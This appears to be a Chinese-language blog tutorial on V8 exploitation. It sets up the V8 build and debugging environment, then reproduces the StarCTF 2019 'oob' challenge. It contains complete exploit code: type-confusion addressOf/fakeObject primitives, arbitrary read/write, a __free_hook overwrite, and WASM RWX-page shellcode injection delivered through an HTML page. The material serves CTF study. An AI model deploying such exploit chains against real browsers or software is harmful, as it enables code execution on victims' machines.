0%

v8 入门及 starctf-oob 复现

pwn v8 入门学习,以及 starctf-oob 题目的复现过程

v8 环境搭建

安装依赖

1
sudo apt install binutils python2.7 perl socat git build-essential gdb gdbserver

安装 depot_tools

1
2
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
echo 'export PATH=$PATH:"/path/to/depot_tools"' >> ~/.bashrc

编译 ninja

1
2
3
git clone https://github.com/ninja-build/ninja.git 
cd ninja && ./configure.py --bootstrap
echo 'export PATH=$PATH:"/path/to/ninja"' >> ~/.bashrc

v8 编译步骤

用 depot_tools 的工具拉取 v8 源码

1
fetch v8

随后,同步源码,然而 fetch 之后就是最新的了,这一步也不是必要的

1
cd v8 && gclient sync

最后编译 v8

1
2
tools/dev/v8gen.py x64.debug && ninja -C out.gn/x64.debug # debug 版本
tools/dev/v8gen.py x64.release && ninja -C out.gn/x64.release # release 版本

编译完后,可用在 out.gn/x64.debug 里的 d8 来执行,调试 js 代码

调试

v8 提供了 gdb 的调试插件
gdb-v8-support

添加到 gdbinit 脚本中

1
2
source /path_to_v8/tools/gdbinit
source /path_to_v8/tools/gdb-v8-support.py

写一个测试脚本,学习一下基本的调试

1
2
3
4
5
6
7
8
9
10
11
12
13
var a = 1;
var b = {'a': 'asd'};
var c = [a, b];


%DebugPrint(a);
%SystemBreak();

%DebugPrint(b);
%SystemBreak();

%DebugPrint(c);
%SystemBreak();

运行 d8 加上 --allow-natives-syntax 参数,以支持 %DebugPrint%SystemBreak

1
2
./d8 --allow-natives-syntax ./test.js

运行结果如下:
d8test

%DebugPrint 的功能是输出显示变量,对于对象,会将对象的地址显示出来,而 %SystemBreak 的作用是触发一个调试中断

现在用 gdb 来调试,gdb ./d8

然后设置一下命令行参数 set args --allow-natives-syntax ./test.js

run 命令开始调试,可以看到,由于 %SystemBreak,程序暂停运行,并看到 %DebugPrint(a) 输出
dbgtest1

c 命令继续运行,可以看到对象的地址输出来了
dbgtest2

这里附加说明一下,v8 里的对象地址,最低 bit 都是 1,减去 1 才是真实存储对象数据的起始地址

由于 v8 提供的 gdb 插件,我们可以使用 job 命令来查看对象更详细的信息
dbgtest3

先继续运行,来到第三处断点
dbgtest4
dbgtest5

这里简单讲讲 v8 对象的存储结构,主要有 map,prototype,elements,length,properties
dbgtest6

map 用来表明对象的类型,elements 是一个对象指针,存储了数组的元素,length 就是数组的大小,properties 也是一个对象指针,存储了对象的属性

这里再使用 telescope 命令(pwndbg 插件)查看对象的内存布局
dbgtest7

另一方面也看到了,length 整数值存储在高 32 位上

前面说了,elements 也是一个对象,同样可以使用 job 命令查看
dbgtest8

StarCTF 2019 oob 复现

题目可以从这里下载:https://github.com/DayJun/Blogs/tree/master/Articles/starCTF-OOB

题目提供了一个 oob.diff 文件,并且 commit 是 6dc88c191f5ecc5389dc26efa3ca0907faef3598

这里先根据 diff 文件 patch 源码

1
2
3
git reset --hard  6dc88c191f5ecc5389dc26efa3ca0907faef3598
git checkout
git apply < /path_to_diff/oob.diff

这里要注意的是,这个题目,使用 debug 版编译,调试的时候有些问题,需要改用 release 模式编译

1
tools/dev/v8gen.py x64.release

但是为了使用 job 等调试命令,需要在 out.gn/x64.release/args.gn 文件加入以下内容:

1
2
3
4
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_verify_heap = true

然后编译即可

1
ninja -C out.gn/x64.release

oob.diff

接下来要分析题目给的 oob.diff 对 v8 源码做了什么修改,文件关键内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
...
+ SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false);
...
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}
...

可以看到,diff 文件给 Array 数组对象增加了一个 oob 方法,参数个数为 1 和 2 的情况做了不同的处理,参数个数为 1 时,即调用方法无参数的时候(因为对象 this 指针是第一个参数),将 elements[length] 的值返回 ,参数个数为 2 时,即调用方法有一个参数时,将调用方法传递的参数值写入 elements[length]

所以 oob 存在一个越界读写数组的漏洞

类型混淆

再次回到前面的一张图片
layout

对象 c 的 elements 指针指向的地址为 0x36563a38de11,而对象 c 的地址为 0x36563a38de31,且对象开头就是 map,所以 map 在 elements 指针指向区域的后面,如果越界读写 elements,就有可能修改 map,造成类型混淆

参考下面代码,进行一个调试,查看不同类型的数组对象的内存布局

1
2
3
4
5
6
7
8
9
10
11
12
var arr1 = [1];
var arr2 = [1.1, 1.2, 1.3];
var arr3 = new Array(3);

%DebugPrint(arr1);
%SystemBreak();

%DebugPrint(arr2);
%SystemBreak();

%DebugPrint(arr3);
%SystemBreak();

来到第一处断点,可以看到整数数组对象的 map 变量就在 elements 指向的区域后面,但是 oob 方法只能越界一个元素的位置,这里明显不够
starctf1

继续运行,来到第二处断点,查看 arr2 即浮点数类型数组对象的内存布局,elements 区域紧接着就是 map,刚好可以修改数组对象的 map 造成类型混淆
starctf2

我们可以用浮点数类型的数组对象来利用漏洞造成类型混淆,这里先不急,继续运行来到最后一处断点
starctf3

可以看到,使用 new 的方式创建的数组,elements 位于 map 的后面,无法用于利用漏洞,其它情况的数组对象的内存布局可以多做尝试,这里就不再深究了

如果将一个 Float 类型的数组的 map 修改为对象数组类型,那么数组里的浮点数数值就被当成对象地址去解析,反之也可以将任意对象地址解析成浮点数,通过一定转换就可以获取对象的地址了

这里分别写出完成上面两个功能的函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
var obj = {"a": 1};
var obj_array = [obj];
var float_array = [1.1];

// leak map
var obj_array_map = obj_array.oob();
var float_array_map = float_array.oob();


//leak address of obj
//obj_to_leak: Object
//return: integer
function addressOf(obj_to_leak)
{
obj_array[0] = obj_to_leak;
obj_array.oob(float_array_map); //类型混淆

let obj_addr = obj_array[0];
obj_array.oob(obj_array_map); //恢复类型

return f2i(obj_addr);
}

//create fake object
//addr_to_fake: interger
function fakeObject(addr_to_fake)
{

float_array[0] = i2f(addr_to_fake);
float_array.oob(obj_array_map);

let faked_obj = float_array[0];

float_array.oob(float_array_map);

return faked_obj;
}

其中 addressOf 函数可以获取任意对象的地址,fakeObject 可以将任意地址伪造成一个 Float 类型的数组对象

由于 addressOf 是将对象的地址解析成浮点数,不太方便后续运算,这里使用一个自定义的 f2i 函数将其解析成整数,同理 i2f 函数将整数的内存表示解析成浮点数,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
var buf = new ArrayBuffer(8);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);

//float to integer
function f2i(f)
{
float64[0] = f;

return bigUint64[0];
}

//integer to float
function i2f(i)
{
bigUint64[0] = i;

return float64[0];
}

这里可以测试一下代码:

1
2
3
4
5
6
var test_obj = {"aa": "aaa"};
var addr = addressOf(test_obj);
console.log('addr = ' + addr.toString(16));

%DebugPrint(test_obj);
%SystemBreak();

调试运行,可以看到 addressOf 函数成功的得到了 test_obj 对象的地址
starctf4

任意地址读写

结合 addresssOffakeObject,可以伪造一个数组对象,控制 elements 指针即可造成任意地址读写,这里画一个伪造的对象的图
fakeObject

这个伪造的对象的数据可以存在一个 Float 数组里,通过 addressOf 函数,得到数据的存储地址,利用 fakeObject 将该地址转换成数组对象指针,通过这个伪造的数组对象即可造成任意读写,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//create fake array obj
var fake_array = [
float_array_map, //map
i2f(0n),
i2f(0x41414141n), //elements
i2f(0x1000000000n), //length
1.1,
2.2,
];


var fake_obj_addr = addressOf(fake_array) - 0x40n + 0x10n;
console.log('fake_obj_addr = ' + fake_obj_addr.toString(16))
var fake_obj = fakeObject(fake_obj_addr);

%DebugPrint(fake_array);
%SystemBreak();

显示创建了一个数组 fake_array,用于伪造数组对象,再通过 addressOf(fake_array) - 0x40n + 0x10n; 获得伪造对象的地址,由于 Float 数组的 elements 指针指向的地方刚好紧挨在 fake_array 的 map 前面,即 fake_array 地址之前,数组6个元素占用 0x30 的大小,加上 elements 的 map 和 length 字段又占用 0x10 的大小,则 addressOf(fake_array) - 0x40n 就是 elements 指针指向的地方,那么 addressOf(fake_array) - 0x40n + 0x10n; 就是存储 6 个元素的起始地址

调试一下,可以发现 fake_obj_addr 计算正确
starctf5
starctf6

此时只需要通过fake_array[2] = target_addr - 0x10n 更改 fake_obj 的 elements 指针,然后使用 fake_obj[0] = value,即可对地址 target_addr 写入 value 值,同理可以任意读,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
function read64(addr)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
let data = f2i(fake_obj[0]);

return data;
}

function write64(addr, i)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
fake_obj[0] = i2f(i);
}

关掉地址随机化,尝试下面代码,来泄露 __libc_start_main 的地址

1
2
3
var leak_addr = read64(0x555555554000n+0x0000012a47b0n);
console.log('leak_addr = ' + leak_addr.toString(16));
%SystemBreak();

可以看到任意读是没有问题的:
starctf7
starctf8

漏洞利用

有了任意读写,控制程序执行流的方式还是很多的,下面就分为传统方式和非传统方式来利用

传统方式

传统方式中,可以泄露 libc 地址,修改 __free_hook 为 system,或者用 one_gadget 的方式,无论哪种方式,泄露 libc 地址都是首要的任务

泄露的方式了解到有两种,一种是从一个 v8 对象的地址开始,内存搜索附近的内容,查看有无程序二进制空间的地址,计算得出程序及地址,之后通过基地址加偏移得到 got 表的地址,泄露 got 表项即可泄露 libc 地址,但是这种方式不太稳定,万一遇到内存不可读程序就中止了,所以这里学习另一种稳定的泄露方式

调试观察下面代码:

1
2
3
var a = [1.1];
%DebugPrint(a);
%SystemBreak();

查看对象 a 的结构
pwn1_1

再查看其 map 类型的结构
pwn1_2

查看 map 的 constructor 结构
pwn1_3

在 code 的固定偏移处有程序二进制空间的地址,
pwn1_4
pwn1_5

下面代码即可泄露出程序基地址:

1
2
3
4
5
6
7
var a = [1.1];
var code_addr = read64(addressOf(a.constructor) + 0x30n - 1n) - 1n;
console.log('code_addr = 0x' + hex(code_addr));

var v8_addr = read64(code_addr + 0x42n);
var v8_base = v8_addr - 0x94f780n - 0x679000n;
console.log('v8_base = 0x' + hex(v8_base));

然后泄露 libc 地址,改 __free_hook 为 system 一把梭

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
var free_got_addr = v8_base + 0x12aa8b8n;
console.log('free_got = 0x' + hex(free_got_addr));
var free_addr = read64(free_got_addr);
console.log('free = 0x' + hex(free_addr));

var lbase = free_addr - 0x9d850n;
var free_hook = lbase + 0x1eeb28n;
var system = lbase + 0x55410n;

write64(free_hook, system);

//%SystemBreak();

function pwn()
{
let cmd = "gnome-calculator\x00";
}

pwn();

但是这样会出现一个段错误,这是 write64 FloatArray 对浮点数的处理方式造成的,当值以 0x7f 开头等高处的地址都会出现这种问题,参考的文章使用了 DataView 来改写任意写的方式来解决了这个问题

DataView 对象偏移 +0x20 处,存有一个 backing_store 指针,该指针指向真正存储数据的地址,改写这个指针即可任意读写,而且不会发生 FloatArray 出现的问题,代码如下:

1
2
3
4
5
6
7
8
9
var buffer = new ArrayBuffer(16);
var data_view = new DataView(buffer);
var buf_backing_store_addr = addressOf(buffer) - 1n + 0x20n;

function write64_view(addr, value)
{
write64(buf_backing_store_addr, addr);
data_view.setFloat64(0, i2f(value), true);
}

最后使用 write64_view 代替 write64 即可

1
2
3
4
5
6
7
8
9
10
write64_view(free_hook, system);
//%SystemBreak();

function pwn()
{
let cmd = "gnome-calculator\x00";
}

pwn();
write64_view(free_hook, 0); // 恢复 __free_hook 使得程序正常退出

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
var obj = {"a": 1};
var obj_array = [obj];
var float_array = [1.1];

// leak map
var obj_array_map = obj_array.oob();
var float_array_map = float_array.oob();



//leak address of obj
//obj_to_leak: Object
//return: integer
function addressOf(obj_to_leak)
{
obj_array[0] = obj_to_leak;
obj_array.oob(float_array_map); //类型混淆

let obj_addr = obj_array[0];
obj_array.oob(obj_array_map); //恢复类型

return f2i(obj_addr);
}

//create fake object
//addr_to_fake: interger
function fakeObject(addr_to_fake)
{

float_array[0] = i2f(addr_to_fake);
float_array.oob(obj_array_map);

let faked_obj = float_array[0];

float_array.oob(float_array_map);

return faked_obj;
}

var buf = new ArrayBuffer(8);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);

//float to integer
function f2i(f)
{
float64[0] = f;

return bigUint64[0];
}

//integer to float
function i2f(i)
{
bigUint64[0] = i;

return float64[0];
}

//hex
function hex(i)
{
return i.toString(16).padStart(16, "0");
}


//create fake array obj
var fake_array = [
float_array_map,
i2f(0n),
i2f(0x41414141n),
i2f(0x1000000000n),
1.1,
2.2,
];


var fake_obj_addr = addressOf(fake_array) - 0x40n + 0x10n;
//console.log('fake_obj_addr = ' + hex(fake_obj_addr));
var fake_obj = fakeObject(fake_obj_addr);

function read64(addr)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
let data = f2i(fake_obj[0]);

return data;
}

function write64(addr, i)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
fake_obj[0] = i2f(i);
}

var buffer = new ArrayBuffer(16);
var data_view = new DataView(buffer);
var buf_backing_store_addr = addressOf(buffer) - 1n + 0x20n;

function write64_view(addr, value)
{
write64(buf_backing_store_addr, addr);
data_view.setFloat64(0, i2f(value), true);
}


var a = [1.1];
var code_addr = read64(addressOf(a.constructor) + 0x30n - 1n) - 1n;
console.log('code_addr = 0x' + hex(code_addr));

var v8_addr = read64(code_addr + 0x42n);
var v8_base = v8_addr - 0x94f780n - 0x679000n;
console.log('v8_base = 0x' + hex(v8_base));

var free_got_addr = v8_base + 0x12aa8b8n;
console.log('free_got = 0x' + hex(free_got_addr));
var free_addr = read64(free_got_addr);
console.log('free = 0x' + hex(free_addr));

var lbase = free_addr - 0x9d850n;
var free_hook = lbase + 0x1eeb28n;
var system = lbase + 0x55410n;

write64_view(free_hook, system);
//%SystemBreak();

function pwn()
{
let cmd = "gnome-calculator\x00";
}

pwn();

write64_view(free_hook, 0);

成功执行命令弹出计算器:
pwn1

题目的 chrome 可执行文件,got 表的偏移不太一样,修改后,泄露地址都是正确的,但是不知道为什么这种方式没有成功弹出计算器

非传统利用方式

另一种方式和 WASM 有关系,首先利用这个网站 https://wasdk.github.io/WasmFiddle/,生成一段 wasm
pwn2_1

调试下面代码

1
2
3
4
5
6
7
8
9
10
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);

var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

console.log(f());

%DebugPrint(f);
%SystemBreak();

可以看到,执行了 WASM 输出了 main 函数的返回值 42
pwn2_2

但是 WASM 肯定是不能想执行什么就执行什么的,浏览器是不允许 WASM 直接调用系统函数的,只能做一些数学计算等,但是 WASM 管理了一块 RWX 属性的内存段,每当调用 WASM 的函数,都会从这里开始执行指令,如果将这里改写为构造好的 shellcode,那么就可以达成执行任意 shellcode 的目的了

这里调试跟踪一下这块 RWX 内存的位置,首先查看 main 函数对象,找到 shared_info
pwn2_3

再通过 shared_info 找到 data
pwn2_4

再通过 data 找到 instance
pwn2_5

在 instance 的固定偏移处可以找到这个 RWX 段的地址,这个固定偏移因编译参数环境等而异,本道题目则是 +0x88
pwn2_6

最后代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
var f_addr = addressOf(f) - 0x1n;
console.log('f_addr = 0x' + hex(f_addr));

var shared_info_addr = read64(f_addr + 0x18n) - 0x1n;
var wasm_exported_func_data_addr = read64(shared_info_addr + 0x8n) - 0x1n;
var wasm_instance_addr = read64(wasm_exported_func_data_addr + 0x10n) - 0x1n;
var rwx_page_addr = read64(wasm_instance_addr + 0x88n);

console.log('rwx_page_addr = 0x' + hex(rwx_page_addr));

var sc_arr = [
//shellcode
]


var buffer = new ArrayBuffer(sc_arr.length * 8);
var data_view = new DataView(buffer);
var buf_backing_store_addr = addressOf(buffer) - 1n + 0x20n;

write64(buf_backing_store_addr, rwx_page_addr);

for (let i = 0; i < sc_arr.length; i++)
data_view.setFloat64(i * 8, i2f(sc_arr[i]), true);

//%SystemBreak();

f(); //pwn

然后就差 shellcode 了,这里写了一个脚本用来生成 shellcode,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *


def just8(data):
size = len(data)
real_size = size if size % 8 == 0 else size + (8 - size % 8)
return data.ljust(real_size, '\x00')

def to_js(data):
ret = 'var sc_arr = ['
for i in range(0, len(data), 8):
if (i // 8) % 4 == 0:
ret += '\n'
x = u64(data[i:i+8])

ret += '\t' + hex(x) + 'n,'

ret += '\n]\n'

return ret


def call_exec(path, argv, envp):
sc = ''

sc += shellcraft.pushstr(path)
sc += shellcraft.mov('rdi', 'rsp')

sc += shellcraft.pushstr_array('rsi', argv)
sc += shellcraft.pushstr_array('rdx', envp)
sc += shellcraft.syscall('SYS_execve')

return sc

context.os = 'linux'
context.arch = 'amd64'


sc = ''
sc = call_exec('/usr/bin/xcalc', ['xcalc'], ['DISPLAY=:0'])


print(sc)

data = asm(sc)
data = just8(data)

print(to_js(data))

要注意的是,很多初学者都会遇到一个问题,execve 没法弹计算器,这是因为执行图形程序需要一个环境变量 DISPLAY,用来指定图形输出的设备,一般情况下写 DISPLAY=:0 即可

最终完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
var obj = {"a": 1};
var obj_array = [obj];
var float_array = [1.1];

// leak map
var obj_array_map = obj_array.oob();
var float_array_map = float_array.oob();



//leak address of obj
//obj_to_leak: Object
//return: integer
function addressOf(obj_to_leak)
{
obj_array[0] = obj_to_leak;
obj_array.oob(float_array_map); //类型混淆

let obj_addr = obj_array[0];
obj_array.oob(obj_array_map); //恢复类型

return f2i(obj_addr);
}

//create fake object
//addr_to_fake: interger
function fakeObject(addr_to_fake)
{

float_array[0] = i2f(addr_to_fake);
float_array.oob(obj_array_map);

let faked_obj = float_array[0];

float_array.oob(float_array_map);

return faked_obj;
}

var buf = new ArrayBuffer(8);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);

//float to integer
function f2i(f)
{
float64[0] = f;

return bigUint64[0];
}

//integer to float
function i2f(i)
{
bigUint64[0] = i;

return float64[0];
}


//hex
function hex(i)
{
return i.toString(16).padStart(16, "0");
}


//create fake array obj
var fake_array = [
float_array_map,
i2f(0n),
i2f(0x41414141n),
i2f(0x1000000000n),
1.1,
2.2,
];


var fake_obj_addr = addressOf(fake_array) - 0x40n + 0x10n;
var fake_obj = fakeObject(fake_obj_addr);


function read64(addr)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
let data = f2i(fake_obj[0]);

return data;
}

function write64(addr, i)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
fake_obj[0] = i2f(i);
}

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);

var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

var f_addr = addressOf(f) - 0x1n;
console.log('f_addr = 0x' + hex(f_addr));

var shared_info_addr = read64(f_addr + 0x18n) - 0x1n;
var wasm_exported_func_data_addr = read64(shared_info_addr + 0x8n) - 0x1n;
var wasm_instance_addr = read64(wasm_exported_func_data_addr + 0x10n) - 0x1n;
var rwx_page_addr = read64(wasm_instance_addr + 0x88n);

console.log('rwx_page_addr = 0x' + hex(rwx_page_addr));

var sc_arr = [
0x10101010101b848n, 0x62792eb848500101n, 0x431480101626d60n, 0x2f7273752fb84824n,
0x48e78948506e6962n, 0x1010101010101b8n, 0x6d606279b8485001n, 0x2404314801010162n,
0x1485e086a56f631n, 0x313b68e6894856e6n, 0x101012434810101n, 0x4c50534944b84801n,
0x6a52d231503d5941n, 0x894852e201485a08n, 0x50f583b6ae2n,
]



var buffer = new ArrayBuffer(sc_arr.length * 8);
var data_view = new DataView(buffer);
var buf_backing_store_addr = addressOf(buffer) - 1n + 0x20n;

write64(buf_backing_store_addr, rwx_page_addr);

for (let i = 0; i < sc_arr.length; i++)
data_view.setFloat64(i * 8, i2f(sc_arr[i]), true);

console.log(f());

写成 html 文件,让 chrome 打开:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
<script>

var obj = {"a": 1};
var obj_array = [obj];
var float_array = [1.1];

// leak map
var obj_array_map = obj_array.oob();
var float_array_map = float_array.oob();



//leak address of obj
//obj_to_leak: Object
//return: integer
function addressOf(obj_to_leak)
{
obj_array[0] = obj_to_leak;
obj_array.oob(float_array_map); //类型混淆

let obj_addr = obj_array[0];
obj_array.oob(obj_array_map); //恢复类型

return f2i(obj_addr);
}

//create fake object
//addr_to_fake: interger
function fakeObject(addr_to_fake)
{

float_array[0] = i2f(addr_to_fake);
float_array.oob(obj_array_map);

let faked_obj = float_array[0];

float_array.oob(float_array_map);

return faked_obj;
}

var buf = new ArrayBuffer(8);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);

//float to integer
function f2i(f)
{
float64[0] = f;

return bigUint64[0];
}

//integer to float
function i2f(i)
{
bigUint64[0] = i;

return float64[0];
}

//hex
function hex(i)
{
return i.toString(16).padStart(16, "0");
}


//create fake array obj
var fake_array = [
float_array_map,
i2f(0n),
i2f(0x41414141n),
i2f(0x1000000000n),
1.1,
2.2,
];


var fake_obj_addr = addressOf(fake_array) - 0x40n + 0x10n;
//console.log('fake_obj_addr = ' + hex(fake_obj_addr));
var fake_obj = fakeObject(fake_obj_addr);

function read64(addr)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
let data = f2i(fake_obj[0]);

return data;
}

function write64(addr, i)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
fake_obj[0] = i2f(i);
}


var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);

var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

var f_addr = addressOf(f) - 0x1n;
console.log('f_addr = 0x' + hex(f_addr));

var shared_info_addr = read64(f_addr + 0x18n) - 0x1n;
var wasm_exported_func_data_addr = read64(shared_info_addr + 0x8n) - 0x1n;
var wasm_instance_addr = read64(wasm_exported_func_data_addr + 0x10n) - 0x1n;
var rwx_page_addr = read64(wasm_instance_addr + 0x88n);

console.log('rwx_page_addr = 0x' + hex(rwx_page_addr));

var sc_arr = [
0x10101010101b848n, 0x62792eb848500101n, 0x431480101626d60n, 0x2f7273752fb84824n,
0x48e78948506e6962n, 0x1010101010101b8n, 0x6d606279b8485001n, 0x2404314801010162n,
0x1485e086a56f631n, 0x313b68e6894856e6n, 0x101012434810101n, 0x4c50534944b84801n,
0x6a52d231503d5941n, 0x894852e201485a08n, 0x50f583b6ae2n,
]


var buffer = new ArrayBuffer(sc_arr.length * 8 + 8);
var data_view = new DataView(buffer);
var buf_backing_store_addr = addressOf(buffer) - 1n + 0x20n;

write64(buf_backing_store_addr, rwx_page_addr);

for (let i = 0; i < sc_arr.length; i++){
data_view.setFloat64(i * 8, i2f(sc_arr[i]), true);
}

f();

</script>

chrome 打开记得关闭沙箱,因为沙箱的安全机制,让程序无法执行一些系统调用,本题的考点也没有绕过沙箱,只需要在无沙箱情况下成功 pwn 即可:

1
./chrome --no-sandbox

成功执行 shellcode 弹出计算器
pwn2

参考